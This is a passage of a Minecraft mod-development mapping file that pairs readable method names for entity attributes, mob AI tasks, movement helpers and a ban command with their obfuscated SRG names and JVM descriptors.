net/minecraft/entity/ai/attributes/IAttributeInstance/getAttributeValue ()D net/minecraft/entity/ai/attributes/IAttributeInstance/func_111126_e ()D +MD: net/minecraft/entity/ai/attributes/AttributeModifier/getID ()Ljava/util/UUID; net/minecraft/entity/ai/attributes/AttributeModifier/func_111167_a ()Ljava/util/UUID; +MD: net/minecraft/entity/ai/attributes/AttributeModifier/setSaved (Z)Lnet/minecraft/entity/ai/attributes/AttributeModifier; net/minecraft/entity/ai/attributes/AttributeModifier/func_111168_a (Z)Lnet/minecraft/entity/ai/attributes/AttributeModifier; +MD: net/minecraft/entity/ai/attributes/AttributeModifier/getName ()Ljava/lang/String; net/minecraft/entity/ai/attributes/AttributeModifier/func_111166_b ()Ljava/lang/String; +MD: net/minecraft/entity/ai/attributes/AttributeModifier/getOperation ()I net/minecraft/entity/ai/attributes/AttributeModifier/func_111169_c ()I +MD: net/minecraft/entity/ai/attributes/AttributeModifier/getAmount ()D net/minecraft/entity/ai/attributes/AttributeModifier/func_111164_d ()D +MD: net/minecraft/entity/ai/attributes/AttributeModifier/isSaved ()Z net/minecraft/entity/ai/attributes/AttributeModifier/func_111165_e ()Z +MD: net/minecraft/entity/ai/attributes/AttributeModifier/equals (Ljava/lang/Object;)Z net/minecraft/entity/ai/attributes/AttributeModifier/equals (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/attributes/AttributeModifier/hashCode ()I net/minecraft/entity/ai/attributes/AttributeModifier/hashCode ()I +MD: net/minecraft/entity/ai/attributes/AttributeModifier/toString ()Ljava/lang/String; net/minecraft/entity/ai/attributes/AttributeModifier/toString ()Ljava/lang/String; +MD: net/minecraft/entity/ai/attributes/BaseAttribute/getAttributeUnlocalizedName ()Ljava/lang/String; net/minecraft/entity/ai/attributes/BaseAttribute/func_111108_a ()Ljava/lang/String; +MD: net/minecraft/entity/ai/attributes/BaseAttribute/setShouldWatch (Z)Lnet/minecraft/entity/ai/attributes/BaseAttribute; net/minecraft/entity/ai/attributes/BaseAttribute/func_111112_a (Z)Lnet/minecraft/entity/ai/attributes/BaseAttribute; +MD: net/minecraft/entity/ai/attributes/BaseAttribute/getDefaultValue ()D net/minecraft/entity/ai/attributes/BaseAttribute/func_111110_b ()D +MD: net/minecraft/entity/ai/attributes/BaseAttribute/getShouldWatch ()Z net/minecraft/entity/ai/attributes/BaseAttribute/func_111111_c ()Z +MD: net/minecraft/entity/ai/attributes/BaseAttribute/func_180372_d ()Lnet/minecraft/entity/ai/attributes/IAttribute; net/minecraft/entity/ai/attributes/BaseAttribute/func_180372_d ()Lnet/minecraft/entity/ai/attributes/IAttribute; +MD: net/minecraft/entity/ai/attributes/BaseAttribute/equals (Ljava/lang/Object;)Z net/minecraft/entity/ai/attributes/BaseAttribute/equals (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/attributes/BaseAttribute/hashCode ()I net/minecraft/entity/ai/attributes/BaseAttribute/hashCode ()I +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/getAllAttributes ()Ljava/util/Collection; net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111146_a ()Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/removeAttributeModifiers (Lcom/google/common/collect/Multimap;)V net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111148_a (Lcom/google/common/collect/Multimap;)V +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/getAttributeInstanceByName (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111152_a (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/getAttributeInstance (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111151_a (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/func_180794_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)V net/minecraft/entity/ai/attributes/BaseAttributeMap/func_180794_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)V +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/applyAttributeModifiers (Lcom/google/common/collect/Multimap;)V net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111147_b (Lcom/google/common/collect/Multimap;)V +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/registerAttribute (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/BaseAttributeMap/func_111150_b (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/BaseAttributeMap/func_180376_c (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/BaseAttributeMap/func_180376_c (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/getAttribute ()Lnet/minecraft/entity/ai/attributes/IAttribute; net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111123_a ()Lnet/minecraft/entity/ai/attributes/IAttribute; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/setBaseValue (D)V net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111128_a (D)V +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/getModifiersByOperation (I)Ljava/util/Collection; net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111130_a (I)Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/getModifier (Ljava/util/UUID;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111127_a (Ljava/util/UUID;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/hasModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Z net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_180374_a (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Z +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/getBaseValue ()D net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111125_b ()D +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_180375_b (I)Ljava/util/Collection; net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_180375_b (I)Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/applyModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111121_a (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111122_c ()Ljava/util/Collection; net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111122_c ()Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/removeModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111124_b (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/removeAllModifiers ()V net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_142049_d ()V +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/getAttributeValue ()D net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111126_e ()D +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/flagForUpdate ()V net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111131_f ()V +MD: net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/computeValue ()D net/minecraft/entity/ai/attributes/ModifiableAttributeInstance/func_111129_g ()D +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getAttributeInstanceByName (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111152_a (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getAttributeInstance (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111151_a (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_180794_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)V net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_180794_a (Lnet/minecraft/entity/ai/attributes/IAttributeInstance;)V +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getAttributeInstanceSet ()Ljava/util/Set; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111161_b ()Ljava/util/Set; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getAttributeInstanceByName (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/ModifiableAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111152_a (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/ModifiableAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/registerAttribute (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111150_b (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getWatchedAttributes ()Ljava/util/Collection; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111160_c ()Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_180376_c (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_180376_c (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/IAttributeInstance; +MD: net/minecraft/entity/ai/attributes/ServersideAttributeMap/getAttributeInstance (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/ModifiableAttributeInstance; net/minecraft/entity/ai/attributes/ServersideAttributeMap/func_111151_a (Lnet/minecraft/entity/ai/attributes/IAttribute;)Lnet/minecraft/entity/ai/attributes/ModifiableAttributeInstance; +MD: net/minecraft/entity/ai/attributes/RangedAttribute/clampValue (D)D net/minecraft/entity/ai/attributes/RangedAttribute/func_111109_a (D)D +MD: net/minecraft/entity/ai/attributes/RangedAttribute/setDescription (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/RangedAttribute; net/minecraft/entity/ai/attributes/RangedAttribute/func_111117_a (Ljava/lang/String;)Lnet/minecraft/entity/ai/attributes/RangedAttribute; +MD: net/minecraft/entity/ai/attributes/RangedAttribute/getDescription ()Ljava/lang/String; net/minecraft/entity/ai/attributes/RangedAttribute/func_111116_f ()Ljava/lang/String; +MD: net/minecraft/entity/EntityBodyHelper/updateRenderAngles ()V net/minecraft/entity/EntityBodyHelper/func_75664_a ()V +MD: net/minecraft/entity/EntityBodyHelper/computeAngleWithBound (FFF)F net/minecraft/entity/EntityBodyHelper/func_75665_a (FFF)F +MD: net/minecraft/entity/ai/EntityJumpHelper/setJumping ()V net/minecraft/entity/ai/EntityJumpHelper/func_75660_a ()V +MD: net/minecraft/entity/ai/EntityJumpHelper/doJump ()V net/minecraft/entity/ai/EntityJumpHelper/func_75661_b ()V +MD: net/minecraft/entity/ai/EntityLookHelper/onUpdateLook ()V net/minecraft/entity/ai/EntityLookHelper/func_75649_a ()V +MD: net/minecraft/entity/ai/EntityLookHelper/setLookPosition (DDDFF)V net/minecraft/entity/ai/EntityLookHelper/func_75650_a (DDDFF)V +MD: net/minecraft/entity/ai/EntityLookHelper/updateRotation (FFF)F net/minecraft/entity/ai/EntityLookHelper/func_75652_a (FFF)F +MD: net/minecraft/entity/ai/EntityLookHelper/setLookPositionWithEntity (Lnet/minecraft/entity/Entity;FF)V net/minecraft/entity/ai/EntityLookHelper/func_75651_a (Lnet/minecraft/entity/Entity;FF)V +MD: net/minecraft/entity/ai/EntityLookHelper/getIsLooking ()Z net/minecraft/entity/ai/EntityLookHelper/func_180424_b ()Z +MD: net/minecraft/entity/ai/EntityLookHelper/getLookPosX ()D net/minecraft/entity/ai/EntityLookHelper/func_180423_e ()D +MD: net/minecraft/entity/ai/EntityLookHelper/getLookPosY ()D net/minecraft/entity/ai/EntityLookHelper/func_180422_f ()D +MD: net/minecraft/entity/ai/EntityLookHelper/getLookPosZ ()D net/minecraft/entity/ai/EntityLookHelper/func_180421_g ()D +MD: net/minecraft/entity/ai/EntityMoveHelper/isUpdating ()Z net/minecraft/entity/ai/EntityMoveHelper/func_75640_a ()Z +MD: net/minecraft/entity/ai/EntityMoveHelper/setMoveTo (DDDD)V net/minecraft/entity/ai/EntityMoveHelper/func_75642_a (DDDD)V +MD: net/minecraft/entity/ai/EntityMoveHelper/limitAngle (FFF)F net/minecraft/entity/ai/EntityMoveHelper/func_75639_a (FFF)F +MD: net/minecraft/entity/ai/EntityMoveHelper/getSpeed ()D net/minecraft/entity/ai/EntityMoveHelper/func_75638_b ()D +MD: net/minecraft/entity/ai/EntityMoveHelper/onUpdateMoveHelper ()V net/minecraft/entity/ai/EntityMoveHelper/func_75641_c ()V +MD: net/minecraft/entity/ai/EntityMoveHelper/getX ()D net/minecraft/entity/ai/EntityMoveHelper/func_179917_d ()D +MD: net/minecraft/entity/ai/EntityMoveHelper/getY ()D net/minecraft/entity/ai/EntityMoveHelper/func_179919_e ()D +MD: net/minecraft/entity/ai/EntityMoveHelper/getZ ()D net/minecraft/entity/ai/EntityMoveHelper/func_179918_f ()D +MD: net/minecraft/entity/ai/EntityAIAvoidEntity$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/ai/EntityAIAvoidEntity$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/ai/EntityAIAvoidEntity$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/ai/EntityAIAvoidEntity$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/ai/EntityAIAvoidEntity/shouldExecute ()Z net/minecraft/entity/ai/EntityAIAvoidEntity/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIAvoidEntity/continueExecuting ()Z net/minecraft/entity/ai/EntityAIAvoidEntity/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIAvoidEntity/startExecuting ()V net/minecraft/entity/ai/EntityAIAvoidEntity/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIAvoidEntity/resetTask ()V net/minecraft/entity/ai/EntityAIAvoidEntity/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIAvoidEntity/updateTask ()V net/minecraft/entity/ai/EntityAIAvoidEntity/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIBeg/shouldExecute ()Z net/minecraft/entity/ai/EntityAIBeg/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIBeg/hasPlayerGotBoneInHand (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/ai/EntityAIBeg/func_75382_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/ai/EntityAIBeg/continueExecuting ()Z net/minecraft/entity/ai/EntityAIBeg/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIBeg/startExecuting ()V net/minecraft/entity/ai/EntityAIBeg/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIBeg/resetTask ()V net/minecraft/entity/ai/EntityAIBeg/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIBeg/updateTask ()V net/minecraft/entity/ai/EntityAIBeg/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIBreakDoor/shouldExecute ()Z net/minecraft/entity/ai/EntityAIBreakDoor/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIBreakDoor/continueExecuting ()Z net/minecraft/entity/ai/EntityAIBreakDoor/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIBreakDoor/startExecuting ()V net/minecraft/entity/ai/EntityAIBreakDoor/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIBreakDoor/resetTask ()V net/minecraft/entity/ai/EntityAIBreakDoor/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIBreakDoor/updateTask ()V net/minecraft/entity/ai/EntityAIBreakDoor/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIMate/shouldExecute ()Z net/minecraft/entity/ai/EntityAIMate/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIMate/continueExecuting ()Z net/minecraft/entity/ai/EntityAIMate/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIMate/resetTask ()V net/minecraft/entity/ai/EntityAIMate/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIMate/updateTask ()V net/minecraft/entity/ai/EntityAIMate/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIMate/getNearbyMate ()Lnet/minecraft/entity/passive/EntityAnimal; net/minecraft/entity/ai/EntityAIMate/func_75389_f ()Lnet/minecraft/entity/passive/EntityAnimal; +MD: net/minecraft/entity/ai/EntityAIMate/spawnBaby ()V net/minecraft/entity/ai/EntityAIMate/func_75388_i ()V +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/shouldExecute ()Z net/minecraft/entity/ai/EntityAIControlledByPlayer/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/isStairOrSlab (Lnet/minecraft/block/Block;)Z net/minecraft/entity/ai/EntityAIControlledByPlayer/func_151498_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/startExecuting ()V net/minecraft/entity/ai/EntityAIControlledByPlayer/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/resetTask ()V net/minecraft/entity/ai/EntityAIControlledByPlayer/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/updateTask ()V net/minecraft/entity/ai/EntityAIControlledByPlayer/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/isSpeedBoosted ()Z net/minecraft/entity/ai/EntityAIControlledByPlayer/func_82634_f ()Z +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/boostSpeed ()V net/minecraft/entity/ai/EntityAIControlledByPlayer/func_82632_g ()V +MD: net/minecraft/entity/ai/EntityAIControlledByPlayer/isControlledByPlayer ()Z net/minecraft/entity/ai/EntityAIControlledByPlayer/func_82633_h ()Z +MD: net/minecraft/entity/ai/EntityAIDoorInteract/shouldExecute ()Z net/minecraft/entity/ai/EntityAIDoorInteract/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIDoorInteract/getBlockDoor (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockDoor; net/minecraft/entity/ai/EntityAIDoorInteract/func_179506_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockDoor; +MD: net/minecraft/entity/ai/EntityAIDoorInteract/continueExecuting ()Z net/minecraft/entity/ai/EntityAIDoorInteract/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIDoorInteract/startExecuting ()V net/minecraft/entity/ai/EntityAIDoorInteract/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIDoorInteract/updateTask ()V net/minecraft/entity/ai/EntityAIDoorInteract/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIEatGrass/shouldExecute ()Z net/minecraft/entity/ai/EntityAIEatGrass/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIEatGrass/continueExecuting ()Z net/minecraft/entity/ai/EntityAIEatGrass/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIEatGrass/startExecuting ()V net/minecraft/entity/ai/EntityAIEatGrass/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIEatGrass/resetTask ()V net/minecraft/entity/ai/EntityAIEatGrass/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIEatGrass/updateTask ()V net/minecraft/entity/ai/EntityAIEatGrass/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIEatGrass/getEatingGrassTimer ()I net/minecraft/entity/ai/EntityAIEatGrass/func_151499_f ()I +MD: net/minecraft/entity/ai/EntityAIFleeSun/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFleeSun/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFleeSun/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFleeSun/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFleeSun/startExecuting ()V net/minecraft/entity/ai/EntityAIFleeSun/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFleeSun/findPossibleShelter ()Lnet/minecraft/util/Vec3; net/minecraft/entity/ai/EntityAIFleeSun/func_75366_f ()Lnet/minecraft/util/Vec3; +MD: net/minecraft/command/server/CommandBanPlayer/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandBanPlayer/func_82362_a ()I +MD: net/minecraft/command/server/CommandBanPlayer/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/server/CommandBanPlayer/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/server/CommandBanPlayer/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandBanPlayer/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBanPlayer/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandBanPlayer/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandBanPlayer/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandBanPlayer/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBanPlayer/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandBanPlayer/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/ai/EntityAISwimming/shouldExecute ()Z net/minecraft/entity/ai/EntityAISwimming/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAISwimming/updateTask ()V net/minecraft/entity/ai/EntityAISwimming/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIFollowOwner/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFollowOwner/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFollowOwner/func_181065_a (Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/ai/EntityAIFollowOwner/func_181065_a (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/ai/EntityAIFollowOwner/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFollowOwner/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFollowOwner/startExecuting ()V net/minecraft/entity/ai/EntityAIFollowOwner/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFollowOwner/resetTask ()V net/minecraft/entity/ai/EntityAIFollowOwner/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIFollowOwner/updateTask ()V net/minecraft/entity/ai/EntityAIFollowOwner/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIFollowParent/shouldExecute ()Z net/minecraft/entity/ai/EntityAIFollowParent/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIFollowParent/continueExecuting ()Z net/minecraft/entity/ai/EntityAIFollowParent/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIFollowParent/startExecuting ()V net/minecraft/entity/ai/EntityAIFollowParent/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIFollowParent/resetTask ()V net/minecraft/entity/ai/EntityAIFollowParent/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIFollowParent/updateTask ()V net/minecraft/entity/ai/EntityAIFollowParent/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIBase/shouldExecute ()Z net/minecraft/entity/ai/EntityAIBase/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIBase/setMutexBits (I)V net/minecraft/entity/ai/EntityAIBase/func_75248_a (I)V +MD: net/minecraft/entity/ai/EntityAIBase/continueExecuting ()Z net/minecraft/entity/ai/EntityAIBase/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIBase/startExecuting ()V net/minecraft/entity/ai/EntityAIBase/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIBase/resetTask ()V net/minecraft/entity/ai/EntityAIBase/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIBase/updateTask ()V net/minecraft/entity/ai/EntityAIBase/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAIBase/isInterruptible ()Z net/minecraft/entity/ai/EntityAIBase/func_75252_g ()Z +MD: net/minecraft/entity/ai/EntityAIBase/getMutexBits ()I net/minecraft/entity/ai/EntityAIBase/func_75247_h ()I +MD: net/minecraft/entity/ai/EntityAITasks/onUpdateTasks ()V net/minecraft/entity/ai/EntityAITasks/func_75774_a ()V +MD: net/minecraft/entity/ai/EntityAITasks/addTask (ILnet/minecraft/entity/ai/EntityAIBase;)V net/minecraft/entity/ai/EntityAITasks/func_75776_a (ILnet/minecraft/entity/ai/EntityAIBase;)V +MD: net/minecraft/entity/ai/EntityAITasks/removeTask (Lnet/minecraft/entity/ai/EntityAIBase;)V net/minecraft/entity/ai/EntityAITasks/func_85156_a (Lnet/minecraft/entity/ai/EntityAIBase;)V +MD: net/minecraft/entity/ai/EntityAITasks/canContinue (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z net/minecraft/entity/ai/EntityAITasks/func_75773_a (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z +MD: net/minecraft/entity/ai/EntityAITasks/areTasksCompatible (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z net/minecraft/entity/ai/EntityAITasks/func_75777_a (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z +MD: net/minecraft/entity/ai/EntityAITasks/canUse (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z net/minecraft/entity/ai/EntityAITasks/func_75775_b (Lnet/minecraft/entity/ai/EntityAITasks$EntityAITaskEntry;)Z +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/shouldExecute ()Z net/minecraft/entity/ai/EntityAIHarvestFarmland/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/shouldMoveTo (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/ai/EntityAIHarvestFarmland/func_179488_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/continueExecuting ()Z net/minecraft/entity/ai/EntityAIHarvestFarmland/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/startExecuting ()V net/minecraft/entity/ai/EntityAIHarvestFarmland/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/resetTask ()V net/minecraft/entity/ai/EntityAIHarvestFarmland/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIHarvestFarmland/updateTask ()V net/minecraft/entity/ai/EntityAIHarvestFarmland/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAILeapAtTarget/shouldExecute ()Z net/minecraft/entity/ai/EntityAILeapAtTarget/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAILeapAtTarget/continueExecuting ()Z net/minecraft/entity/ai/EntityAILeapAtTarget/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAILeapAtTarget/startExecuting ()V net/minecraft/entity/ai/EntityAILeapAtTarget/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIWatchClosest/shouldExecute ()Z net/minecraft/entity/ai/EntityAIWatchClosest/func_75250_a ()Z +MD: net/minecraft/entity/ai/EntityAIWatchClosest/continueExecuting ()Z net/minecraft/entity/ai/EntityAIWatchClosest/func_75253_b ()Z +MD: net/minecraft/entity/ai/EntityAIWatchClosest/startExecuting ()V net/minecraft/entity/ai/EntityAIWatchClosest/func_75249_e ()V +MD: net/minecraft/entity/ai/EntityAIWatchClosest/resetTask ()V net/minecraft/entity/ai/EntityAIWatchClosest/func_75251_c ()V +MD: net/minecraft/entity/ai/EntityAIWatchClosest/updateTask ()V net/minecraft/entity/ai/EntityAIWatchClosest/func_75246_d ()V +MD: net/minecraft/entity/ai/EntityAILookAtTradePlayer/shouldExecute ()Z 